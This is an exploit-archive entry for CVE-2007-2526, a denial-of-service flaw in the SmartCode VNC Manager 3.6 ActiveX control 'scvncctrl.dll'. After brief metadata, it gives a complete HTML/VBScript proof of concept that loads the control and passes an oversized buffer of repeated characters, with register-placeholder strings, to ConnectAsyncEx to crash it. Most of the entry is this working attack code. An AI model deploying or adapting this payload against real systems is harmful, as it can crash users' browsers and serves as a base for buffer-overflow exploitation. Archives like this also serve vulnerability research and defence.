SmartCode VNC Manager 3.6 - 'scvncctrl.dll' Denial of Service

Author: shinnai
type: dos
platform: windows
port: 
date_added: 2007-05-07 
date_updated:  
verified: 1 
codes: OSVDB-34340;CVE-2007-2526 
tags: 
aliases:  
screenshot_url:  
application_url:

<html>
 <object classid='clsid:62FA83F7-20EC-4D62-AC86-BAB705EE1CCD' id='target'></object>
  <script language = 'vbscript'>
   buff = String(3543,"A")

   get_EAX = "aaaa"
   get_EBX = "cccc"

   buff2 = String(1440,"B")

   egg = buff + get_EAX + get_EBX + buff2

   target.ConnectAsyncEx egg, 1, "default"
  </script>
</html>

# milw0rm.com [2007-05-08]